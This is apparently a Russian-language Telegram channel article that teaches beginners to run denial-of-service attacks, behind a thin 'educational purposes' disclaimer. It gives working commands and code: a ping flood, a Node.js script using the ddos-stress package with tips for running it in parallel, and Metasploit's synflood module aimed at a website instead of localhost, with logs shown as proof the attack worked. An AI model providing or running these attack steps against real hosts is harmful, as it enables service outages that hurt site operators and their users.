Простая DDoS атака в домашних условиях
Привет телега) Это первая статья на канале, но это не так важно. Заранее говорю, я не несу ответственности за то что вы совершаете, весь материал подан в исключительно образовательных целях. Я всех предупредил, можно начинать.
Мы попробуем задудосить локальный сервер на 4 языках программирования, если Batch считать языком.
Что такое DDoS?
DDOS-атака — это атака на сайт, основной целью которой является выведение его из строя путём подачи большого количества ложных запросов. В результате такой атаки сервера, обслуживающие сайт, вынуждены обрабатывать чрезмерный объём ложных запросов, и сайт становится недоступным для простого пользователя. [Источник]
Подготавливаем сервак
Можно выбрать любой из языков чтобы написать небольшую серверную прогу.
Node.js
http = require('http');
http.createServer(function (req, res) {
res.write('Hello World!')
}).listen(3000)
Python ( в терминале )
python -m SimpleHTTPServer 3000
С помощью чего можно осуществить DDoS?
ping
Есть несколько методов. Самый примитивный - через консольную команду ping. В UNIX и DOS (не путать с DDoS) терминалах аргументы отличаются, но т.к. большинство юзеров пользуются виндой, буду писать под DOS:
> ping -l 4000 -n 300 localhost Обмен пакетами с <ваш_хост> [::1] с 4000 байтами данных: Ответ от ::1: время<1мс Ответ от ::1: время<1мс Ответ от ::1: время<1мс Ответ от ::1: время<1мс Ответ от ::1: время<1мс Ответ от ::1: время<1мс Ответ от ::1: время<1мс Ответ от ::1: время<1мс Ответ от ::1: время<1мс Ответ от ::1: время<1мс Ответ от ::1: время<1мс
Что мы здесь видим? Аргумент -l означает какого размера будет пакет. В нашем случае это 4000 байта (~2.9Kb). Довольно маленький размер для того чтобы сделать DDoS. Далее -n означает сколько раз мы будем отсылать пакеты на сервер, в нашем случае это локальный сервер.
ddos-stress (Node.js)
Даже в ноде можно сделать DDoS атаку. Уже существует готовый пакет. Устанавливаем всё нужное (просто копируем в командную строку):
npm init -y npm i ddos-stress npm audit fix touch index.js
Теперь создадим скрипт, который и запустит атаку:
Stress = require('ddos-stress');
new Stress().run('http://localhost:3000/',1000);
Первый аргумент в функции run() означает цель, второй аргумент количество запросов.
Чтобы атака точно удалась, запускаем сразу несколько раз скрипт, т.е. открываем сразу несколько терминалов.
Также открываем браузер на странице localhost:3000
Мы увидим в окне терминалов кучу логов об отправке пакетов.
Loop: 146 Current stats: errors(112876) success(20700) Loop: 147 Current stats: errors(113828) success(20700) Loop: 148 Current stats: errors(114681) success(20700) Loop: 149 Current stats: errors(115691) success(20700) Loop: 150 Current stats: errors(116674) success(20700) Loop: 151 Current stats: errors(117764) success(20700) Loop: 152 Current stats: errors(118768) success(20700) Loop: 153 Current stats: errors(119804) success(20700) Loop: 154 Current stats: errors(120810) success(20700) Loop: 155 Current stats: errors(121711) success(20700) Loop: 156 Current stats: errors(122853) success(20700) Loop: 157 Current stats: errors(123344) success(20702) Loop: 158 Current stats: errors(124016) success(20702) Loop: 159 Current stats: errors(124762) success(20718) Loop: 160 Current stats: errors(125677) success(20775) Loop: 161 Current stats: errors(126688) success(20808)
Компьютер от такого количества запросов начнёт подлагивать, так и должно быть. Спустя 5-10 минут атаки можно вырубить все процессы (Ctrl + C).
Обновляем страницу, и видим что порт забился.

Атака удалась!
Атака через MetaSploit (Kali Linux)
Для того чтобы задудосить сервер через metasploit вам потребуется kali linux, или вы можете скачать и установить katoolin на любую linux систему.
К сожалению задудосить локальный хост не получится, так что потренируемся на только что созданном сайте.
Открываем терминал, и пишем msfconsole, чтобы открыть этот самый MetaSploit.

Теперь надо выбрать инструмент synflood:
use auxiliary/dos/tcp/synflood
Далее выбираем хост и порт цели

По дефолту порт стоит 80. Ничего не будем менять. Далее пишем exploit. Готово. Мы начали атаку.
Чтобы её прекратить, нажимаем Ctrl + C

Через некоторое время заходим на сайт, и видим что он отвалился, если он конечно не защищён от DDoS.
Заключение
Вот такая небольшая статья получилась. Это далеко не все и не самые популярные методы, потому что методов много, и на обзор каждого из них потребуется очень много времени.